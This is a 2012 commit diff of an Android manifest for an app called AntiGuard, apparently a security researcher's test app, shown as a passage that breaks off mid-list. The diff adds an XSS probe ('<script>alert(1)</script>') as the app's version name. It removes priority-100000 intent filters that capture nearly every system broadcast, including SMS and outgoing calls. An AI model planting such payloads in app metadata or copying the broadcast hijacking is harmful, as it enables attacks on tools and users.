Browse files

Fixed AntiGuard push I made earlier... *sigh*

Also fixed a few things in run.sh and functions.sh
  • Loading branch information...
1 parent c362907 commit 21d034e319a4effd487270bd9e7c0ce8df67e690 @kosborn committed Sep 21, 2012
View
663 AntiGuard/AndroidManifest.xml
@@ -1,674 +1,19 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="io.kos.antiguard"
- android:versionCode="2"
- android:versionName="I DRANK WHAT?">
+ android:versionCode="1"
+ android:versionName="&lt;script>alert(1)&lt;/script>">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".unlock"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
- <intent-filter android:priority="100000">
- <action android:name="com.android.vending.INSTALL_REFERRER" />
- <action android:name="io.kos.antiguard.intent.action.LAUNCHED" />
- <action android:name="android.bluetooth.intent.action.BONDING_CREATED" />
- <action android:name="android.bluetooth.intent.action.BONDING_REMOVED" />
- <action android:name="android.bluetooth.intent.action.DISABLED" />
- <action android:name="android.bluetooth.intent.action.DISCOVERY_COMPLETED" />
- <action android:name="android.bluetooth.intent.action.DISCOVERY_STARTED" />
- <action android:name="android.bluetooth.intent.action.ENABLED" />
- <action android:name="android.bluetooth.intent.action.HEADSET_STATE_CHANGED" />
- <action android:name="android.bluetooth.intent.action.MODE_CHANGED" />
- <action android:name="android.bluetooth.intent.action.NAME_CHANGED" />
- <action android:name="android.bluetooth.intent.action.PAIRING_CANCEL" />
- <action android:name="android.bluetooth.intent.action.PAIRING_REQUEST" />
- <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CHANGED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CLEARED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_CONNECTED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECTED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECT_REQUESTED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_FOUND" />
- <action android:name="android.bluetooth.intent.action.REMOTE_NAME_FAILED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_NAME_UPDATED" />
- <action android:name="android.intent.action.AIRPLANE_MODE" />
- <action android:name="android.intent.action.BATTERY_CHANGED" />
- <action android:name="android.intent.action.BATTERY_LOW" />
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <action android:name="android.intent.action.CAMERA_BUTTON" />
- <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
- <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
- <action android:name="android.intent.action.DATE_CHANGED" />
- <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
- <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
- <action android:name="android.intent.action.GTALK_CONNECTED" />
- <action android:name="android.intent.action.GTALK_DISCONNECTED" />
- <action android:name="android.intent.action.HEADSET_PLUG" />
- <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
- <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
- <action android:name="android.intent.action.MEDIA_BUTTON" />
- <action android:name="android.intent.action.MEDIA_EJECT" />
- <action android:name="android.intent.action.MEDIA_MOUNTED" />
- <action android:name="android.intent.action.MEDIA_REMOVED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
- <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
- <action android:name="android.intent.action.MEDIA_SHARED" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- <action android:name="android.intent.action.PACKAGE_ADDED" />
- <action android:name="android.intent.action.PACKAGE_CHANGED" />
- <action android:name="android.intent.action.PACKAGE_INSTALL" />
- <action android:name="android.intent.action.PACKAGE_REMOVED" />
- <action android:name="android.intent.action.PACKAGE_RESTARTED" />
- <action android:name="android.intent.action.POWER_CONNECTED" />
- <action android:name="android.intent.action.POWER_DISCONNECTED" />
- <action android:name="android.intent.action.PROVIDER_CHANGED" />
- <action android:name="android.intent.action.REBOOT" />
- <action android:name="android.intent.action.SCREEN_OFF" />
- <action android:name="android.intent.action.SCREEN_ON" />
- <action android:name="android.intent.action.TIMEZONE_CHANGED" />
- <action android:name="android.intent.action.TIME_SET" />
- <action android:name="android.intent.action.TIME_TICK" />
- <action android:name="android.intent.action.UID_REMOVED" />
- <action android:name="android.intent.action.UMS_CONNECTED" />
- <action android:name="android.intent.action.UMS_DISCONNECTED" />
- <action android:name="android.intent.action.WALLPAPER_CHANGED" />
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
- <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
- <action android:name="android.net.wifi.RSSI_CHANGED" />
- <action android:name="android.net.wifi.SCAN_RESULTS" />
- <action android:name="android.net.wifi.STATE_CHANGE" />
- <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
- <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
- <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
- <action android:name="android.provider.Telephony.SIM_FULL" />
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
- <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
- <action android:name="android.intent.action.SCREEN_OFF" />
- <action android:name="android.intent.action.SCREEN_ON" />
- <action android:name="android.intent.action.USER_PRESENT" />
- <action android:name="android.intent.action.TIME_TICK" />
- <action android:name="android.intent.action.TIME_SET" />
- <action android:name="android.intent.action.DATE_CHANGED" />
- <action android:name="android.intent.action.TIMEZONE_CHANGED" />
- <action android:name="android.intent.action.ALARM_CHANGED" />
- <action android:name="android.intent.action.SYNC_STATE_CHANGED" />
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
- <action android:name="android.intent.action.PACKAGE_INSTALL" />
- <action android:name="android.intent.action.PACKAGE_ADDED" />
- <action android:name="android.intent.action.PACKAGE_REPLACED" />
- <action android:name="android.intent.action.PACKAGE_REMOVED" />
- <action android:name="android.intent.action.PACKAGE_CHANGED" />
- <action android:name="android.intent.action.PACKAGE_RESTARTED" />
- <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
- <action android:name="android.intent.action.UID_REMOVED" />
- <action android:name="android.intent.action.WALLPAPER_CHANGED" />
- <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
- <action android:name="android.intent.action.LOCALE_CHANGED" />
- <action android:name="android.intent.action.BATTERY_CHANGED" />
- <action android:name="android.intent.action.BATTERY_LOW" />
- <action android:name="android.intent.action.BATTERY_OKAY" />
- <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
- <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
- <action android:name="android.intent.action.ACTION_SHUTDOWN" />
- <action android:name="android.intent.action.ACTION_REQUEST_SHUTDOWN" />
- <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
- <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
- <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
- <action android:name="android.intent.action.UMS_CONNECTED" />
- <action android:name="android.intent.action.UMS_DISCONNECTED" />
- <action android:name="android.intent.action.MEDIA_REMOVED" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
- <action android:name="android.intent.action.MEDIA_CHECKING" />
- <action android:name="android.intent.action.MEDIA_NOFS" />
- <action android:name="android.intent.action.MEDIA_MOUNTED" />
- <action android:name="android.intent.action.MEDIA_SHARED" />
- <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
- <action android:name="android.intent.action.MEDIA_EJECT" />
- <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
- <action android:name="android.intent.action.MEDIA_BUTTON" />
- <action android:name="android.intent.action.CAMERA_BUTTON" />
- <action android:name="android.intent.action.GTALK_CONNECTED" />
- <action android:name="android.intent.action.GTALK_DISCONNECTED" />
- <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
- <action android:name="android.intent.action.AIRPLANE_MODE" />
- <action android:name="android.intent.action.PROVIDER_CHANGED" />
- <action android:name="android.intent.action.HEADSET_PLUG" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- <action android:name="android.intent.action.REBOOT" />
- <action android:name="android.intent.action.DOCK_EVENT" />
- <action android:name="android.intent.action.REMOTE_INTENT" />
- <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />
- <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
- <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- <action android:name="com.android.sync.SYNC_CONN_STATUS_CHANGED" />
- <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
- <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
- <action android:name="android.intent.action.PHONE_STATE" />
- <action android:name="android.accounts.AccountAuthenticator" />
- <action android:name="android.accounts.LOGIN_ACCOUNTS_CHANGED" />
- <action android:name="android.intent.action.DOWNLOAD_COMPLETE" />
- <action android:name="android.intent.action.DOWNLOAD_NOTIFICATION_CLICKED" />
- <action android:name="android.location.PROVIDERS_CHANGED" />
- <action android:name="android.speech.action.GET_LANGUAGE_DETAILS" />
- <action android:name="android.app.action.ACTION_PASSWORD_CHANGED" />
- <action android:name="android.app.action.ACTION_PASSWORD_FAILED" />
- <action android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED" />
- <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
- <action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED" />
- <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
- <action android:name="android.bluetooth.a2dp.action.SINK_STATE_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.DISCOVERY_FINISHED" />
- <action android:name="android.bluetooth.adapter.action.DISCOVERY_STARTED" />
- <action android:name="android.bluetooth.adapter.action.LOCAL_NAME_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.SCAN_MODE_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
- <action android:name="android.bluetooth.device.action.ACL_CONNECTED" />
- <action android:name="android.bluetooth.device.action.ACL_DISCONNECTED" />
- <action android:name="android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED" />
- <action android:name="android.bluetooth.device.action.BOND_STATE_CHANGED" />
- <action android:name="android.bluetooth.device.action.CLASS_CHANGED" />
- <action android:name="android.bluetooth.device.action.FOUND" />
- <action android:name="android.bluetooth.device.action.NAME_CHANGED" />
- <action android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
- <action android:name="android.bluetooth.devicepicker.action.LAUNCH" />
- <action android:name="android.bluetooth.headset.action.AUDIO_STATE_CHANGED" />
- <action android:name="android.bluetooth.headset.action.STATE_CHANGED" />
- <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
- <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
- <action android:name="android.intent.action.ACTION_SHUTDOWN" />
- <action android:name="android.intent.action.AIRPLANE_MODE" />
- <action android:name="android.intent.action.BATTERY_CHANGED" />
- <action android:name="android.intent.action.BATTERY_LOW" />
- <action android:name="android.intent.action.BATTERY_OKAY" />
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <action android:name="android.intent.action.CAMERA_BUTTON" />
- <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
- <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
- <action android:name="android.intent.action.DATE_CHANGED" />
- <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
- <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
- <action android:name="android.intent.action.DOCK_EVENT" />
- <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE" />
- <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE" />
- <action android:name="android.intent.action.GTALK_CONNECTED" />
- <action android:name="android.intent.action.GTALK_DISCONNECTED" />
- <action android:name="android.intent.action.HEADSET_PLUG" />
- <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
- <action android:name="android.intent.action.LOCALE_CHANGED" />
- <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
- <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
- <action android:name="android.intent.action.MEDIA_BUTTON" />
- <action android:name="android.intent.action.MEDIA_CHECKING" />
- <action android:name="android.intent.action.MEDIA_EJECT" />
- <action android:name="android.intent.action.MEDIA_MOUNTED" />
- <action android:name="android.intent.action.MEDIA_NOFS" />
- <action android:name="android.intent.action.MEDIA_REMOVED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
- <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
- <action android:name="android.intent.action.MEDIA_SHARED" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- <action android:name="android.intent.action.PACKAGE_ADDED" />
- <action android:name="android.intent.action.PACKAGE_CHANGED" />
- <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
- <action android:name="android.intent.action.PACKAGE_INSTALL" />
- <action android:name="android.intent.action.PACKAGE_REMOVED" />
- <action android:name="android.intent.action.PACKAGE_REPLACED" />
- <action android:name="android.intent.action.PACKAGE_RESTARTED" />
- <action android:name="android.intent.action.PHONE_STATE" />
- <action android:name="android.intent.action.PROVIDER_CHANGED" />
- <action android:name="android.intent.action.REBOOT" />
- <action android:name="android.intent.action.SCREEN_OFF" />
- <action android:name="android.intent.action.SCREEN_ON" />
- <action android:name="android.intent.action.TIMEZONE_CHANGED" />
- <action android:name="android.intent.action.TIME_SET" />
- <action android:name="android.intent.action.TIME_TICK" />
- <action android:name="android.intent.action.UID_REMOVED" />
- <action android:name="android.intent.action.UMS_CONNECTED" />
- <action android:name="android.intent.action.UMS_DISCONNECTED" />
- <action android:name="android.intent.action.USER_PRESENT" />
- <action android:name="android.intent.action.WALLPAPER_CHANGED" />
- <action android:name="android.media.AUDIO_BECOMING_NOISY" />
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- <action android:name="android.media.SCO_AUDIO_STATE_CHANGED" />
- <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
- <action android:name="android.media.action.CLOSE_AUDIO_EFFECT_CONTROL_SESSION" />
- <action android:name="android.media.action.OPEN_AUDIO_EFFECT_CONTROL_SESSION" />
- <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
- <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
- <action android:name="android.net.wifi.RSSI_CHANGED" />
- <action android:name="android.net.wifi.SCAN_RESULTS" />
- <action android:name="android.net.wifi.STATE_CHANGE" />
- <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
- <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
- <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
- <action android:name="android.provider.Telephony.SIM_FULL" />
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- <action android:name="android.provider.Telephony.SMS_REJECTED" />
- <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
- <action android:name="android.speech.tts.TTS_QUEUE_PROCESSING_COMPLETED" />
- <action android:name="android.speech.tts.engine.TTS_DATA_INSTALLED" />
- <data android:scheme="" />
- <data android:scheme="package" />
- <data android:scheme="content" />
- <data android:scheme="http" />
- <data android:scheme="https" />
- <data android:scheme="file" />
- <data android:scheme="ftp" />
- <data android:scheme="about" />
- <data android:scheme="javascript" />
- <data android:scheme="inline" />
- <data android:scheme="sms" />
- <data android:scheme="smsto" />
- <data android:scheme="mms" />
- <data android:scheme="tel" />
- <data android:scheme="directory" />
- <data android:scheme="folder" />
- <data android:scheme="imto" />
- <data android:scheme="voicemail" />
- <data android:scheme="user" />
- </intent-filter>
- <intent-filter android:priority="100000">
- <action android:name="com.android.vending.INSTALL_REFERRER" />
- <action android:name="io.kos.antiguard.intent.action.LAUNCHED" />
- <action android:name="android.bluetooth.intent.action.BONDING_CREATED" />
- <action android:name="android.bluetooth.intent.action.BONDING_REMOVED" />
- <action android:name="android.bluetooth.intent.action.DISABLED" />
- <action android:name="android.bluetooth.intent.action.DISCOVERY_COMPLETED" />
- <action android:name="android.bluetooth.intent.action.DISCOVERY_STARTED" />
- <action android:name="android.bluetooth.intent.action.ENABLED" />
- <action android:name="android.bluetooth.intent.action.HEADSET_STATE_CHANGED" />
- <action android:name="android.bluetooth.intent.action.MODE_CHANGED" />
- <action android:name="android.bluetooth.intent.action.NAME_CHANGED" />
- <action android:name="android.bluetooth.intent.action.PAIRING_CANCEL" />
- <action android:name="android.bluetooth.intent.action.PAIRING_REQUEST" />
- <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CHANGED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_ALIAS_CLEARED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_CONNECTED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISAPPEARED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECTED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_DISCONNECT_REQUESTED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_DEVICE_FOUND" />
- <action android:name="android.bluetooth.intent.action.REMOTE_NAME_FAILED" />
- <action android:name="android.bluetooth.intent.action.REMOTE_NAME_UPDATED" />
- <action android:name="android.intent.action.AIRPLANE_MODE" />
- <action android:name="android.intent.action.BATTERY_CHANGED" />
- <action android:name="android.intent.action.BATTERY_LOW" />
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <action android:name="android.intent.action.CAMERA_BUTTON" />
- <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
- <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
- <action android:name="android.intent.action.DATE_CHANGED" />
- <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
- <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
- <action android:name="android.intent.action.GTALK_CONNECTED" />
- <action android:name="android.intent.action.GTALK_DISCONNECTED" />
- <action android:name="android.intent.action.HEADSET_PLUG" />
- <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
- <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
- <action android:name="android.intent.action.MEDIA_BUTTON" />
- <action android:name="android.intent.action.MEDIA_EJECT" />
- <action android:name="android.intent.action.MEDIA_MOUNTED" />
- <action android:name="android.intent.action.MEDIA_REMOVED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
- <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
- <action android:name="android.intent.action.MEDIA_SHARED" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- <action android:name="android.intent.action.PACKAGE_ADDED" />
- <action android:name="android.intent.action.PACKAGE_CHANGED" />
- <action android:name="android.intent.action.PACKAGE_INSTALL" />
- <action android:name="android.intent.action.PACKAGE_REMOVED" />
- <action android:name="android.intent.action.PACKAGE_RESTARTED" />
- <action android:name="android.intent.action.POWER_CONNECTED" />
- <action android:name="android.intent.action.POWER_DISCONNECTED" />
- <action android:name="android.intent.action.PROVIDER_CHANGED" />
- <action android:name="android.intent.action.REBOOT" />
- <action android:name="android.intent.action.SCREEN_OFF" />
- <action android:name="android.intent.action.SCREEN_ON" />
- <action android:name="android.intent.action.TIMEZONE_CHANGED" />
- <action android:name="android.intent.action.TIME_SET" />
- <action android:name="android.intent.action.TIME_TICK" />
- <action android:name="android.intent.action.UID_REMOVED" />
- <action android:name="android.intent.action.UMS_CONNECTED" />
- <action android:name="android.intent.action.UMS_DISCONNECTED" />
- <action android:name="android.intent.action.WALLPAPER_CHANGED" />
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
- <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
- <action android:name="android.net.wifi.RSSI_CHANGED" />
- <action android:name="android.net.wifi.SCAN_RESULTS" />
- <action android:name="android.net.wifi.STATE_CHANGE" />
- <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
- <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
- <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
- <action android:name="android.provider.Telephony.SIM_FULL" />
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
- <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
- <action android:name="android.intent.action.SCREEN_OFF" />
- <action android:name="android.intent.action.SCREEN_ON" />
- <action android:name="android.intent.action.USER_PRESENT" />
- <action android:name="android.intent.action.TIME_TICK" />
- <action android:name="android.intent.action.TIME_SET" />
- <action android:name="android.intent.action.DATE_CHANGED" />
- <action android:name="android.intent.action.TIMEZONE_CHANGED" />
- <action android:name="android.intent.action.ALARM_CHANGED" />
- <action android:name="android.intent.action.SYNC_STATE_CHANGED" />
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
- <action android:name="android.intent.action.PACKAGE_INSTALL" />
- <action android:name="android.intent.action.PACKAGE_ADDED" />
- <action android:name="android.intent.action.PACKAGE_REPLACED" />
- <action android:name="android.intent.action.PACKAGE_REMOVED" />
- <action android:name="android.intent.action.PACKAGE_CHANGED" />
- <action android:name="android.intent.action.PACKAGE_RESTARTED" />
- <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
- <action android:name="android.intent.action.UID_REMOVED" />
- <action android:name="android.intent.action.WALLPAPER_CHANGED" />
- <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
- <action android:name="android.intent.action.LOCALE_CHANGED" />
- <action android:name="android.intent.action.BATTERY_CHANGED" />
- <action android:name="android.intent.action.BATTERY_LOW" />
- <action android:name="android.intent.action.BATTERY_OKAY" />
- <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
- <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
- <action android:name="android.intent.action.ACTION_SHUTDOWN" />
- <action android:name="android.intent.action.ACTION_REQUEST_SHUTDOWN" />
- <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
- <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
- <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
- <action android:name="android.intent.action.UMS_CONNECTED" />
- <action android:name="android.intent.action.UMS_DISCONNECTED" />
- <action android:name="android.intent.action.MEDIA_REMOVED" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
- <action android:name="android.intent.action.MEDIA_CHECKING" />
- <action android:name="android.intent.action.MEDIA_NOFS" />
- <action android:name="android.intent.action.MEDIA_MOUNTED" />
- <action android:name="android.intent.action.MEDIA_SHARED" />
- <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
- <action android:name="android.intent.action.MEDIA_EJECT" />
- <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
- <action android:name="android.intent.action.MEDIA_BUTTON" />
- <action android:name="android.intent.action.CAMERA_BUTTON" />
- <action android:name="android.intent.action.GTALK_CONNECTED" />
- <action android:name="android.intent.action.GTALK_DISCONNECTED" />
- <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
- <action android:name="android.intent.action.AIRPLANE_MODE" />
- <action android:name="android.intent.action.PROVIDER_CHANGED" />
- <action android:name="android.intent.action.HEADSET_PLUG" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- <action android:name="android.intent.action.REBOOT" />
- <action android:name="android.intent.action.DOCK_EVENT" />
- <action android:name="android.intent.action.REMOTE_INTENT" />
- <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />
- <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
- <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- <action android:name="com.android.sync.SYNC_CONN_STATUS_CHANGED" />
- <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
- <action android:name="android.intent.action.CLOSE_SYSTEM_DIALOGS" />
- <action android:name="android.intent.action.PHONE_STATE" />
- <action android:name="android.accounts.AccountAuthenticator" />
- <action android:name="android.accounts.LOGIN_ACCOUNTS_CHANGED" />
- <action android:name="android.intent.action.DOWNLOAD_COMPLETE" />
- <action android:name="android.intent.action.DOWNLOAD_NOTIFICATION_CLICKED" />
- <action android:name="android.location.PROVIDERS_CHANGED" />
- <action android:name="android.speech.action.GET_LANGUAGE_DETAILS" />
- <action android:name="android.app.action.ACTION_PASSWORD_CHANGED" />
- <action android:name="android.app.action.ACTION_PASSWORD_FAILED" />
- <action android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED" />
- <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
- <action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED" />
- <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
- <action android:name="android.bluetooth.a2dp.action.SINK_STATE_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.DISCOVERY_FINISHED" />
- <action android:name="android.bluetooth.adapter.action.DISCOVERY_STARTED" />
- <action android:name="android.bluetooth.adapter.action.LOCAL_NAME_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.SCAN_MODE_CHANGED" />
- <action android:name="android.bluetooth.adapter.action.STATE_CHANGED" />
- <action android:name="android.bluetooth.device.action.ACL_CONNECTED" />
- <action android:name="android.bluetooth.device.action.ACL_DISCONNECTED" />
- <action android:name="android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED" />
- <action android:name="android.bluetooth.device.action.BOND_STATE_CHANGED" />
- <action android:name="android.bluetooth.device.action.CLASS_CHANGED" />
- <action android:name="android.bluetooth.device.action.FOUND" />
- <action android:name="android.bluetooth.device.action.NAME_CHANGED" />
- <action android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
- <action android:name="android.bluetooth.devicepicker.action.LAUNCH" />
- <action android:name="android.bluetooth.headset.action.AUDIO_STATE_CHANGED" />
- <action android:name="android.bluetooth.headset.action.STATE_CHANGED" />
- <action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
- <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
- <action android:name="android.intent.action.ACTION_SHUTDOWN" />
- <action android:name="android.intent.action.AIRPLANE_MODE" />
- <action android:name="android.intent.action.BATTERY_CHANGED" />
- <action android:name="android.intent.action.BATTERY_LOW" />
- <action android:name="android.intent.action.BATTERY_OKAY" />
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- <action android:name="android.intent.action.CAMERA_BUTTON" />
- <action android:name="android.intent.action.CONFIGURATION_CHANGED" />
- <action android:name="android.intent.action.DATA_SMS_RECEIVED" />
- <action android:name="android.intent.action.DATE_CHANGED" />
- <action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
- <action android:name="android.intent.action.DEVICE_STORAGE_OK" />
- <action android:name="android.intent.action.DOCK_EVENT" />
- <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE" />
- <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE" />
- <action android:name="android.intent.action.GTALK_CONNECTED" />
- <action android:name="android.intent.action.GTALK_DISCONNECTED" />
- <action android:name="android.intent.action.HEADSET_PLUG" />
- <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
- <action android:name="android.intent.action.LOCALE_CHANGED" />
- <action android:name="android.intent.action.MANAGE_PACKAGE_STORAGE" />
- <action android:name="android.intent.action.MEDIA_BAD_REMOVAL" />
- <action android:name="android.intent.action.MEDIA_BUTTON" />
- <action android:name="android.intent.action.MEDIA_CHECKING" />
- <action android:name="android.intent.action.MEDIA_EJECT" />
- <action android:name="android.intent.action.MEDIA_MOUNTED" />
- <action android:name="android.intent.action.MEDIA_NOFS" />
- <action android:name="android.intent.action.MEDIA_REMOVED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
- <action android:name="android.intent.action.MEDIA_SCANNER_SCAN_FILE" />
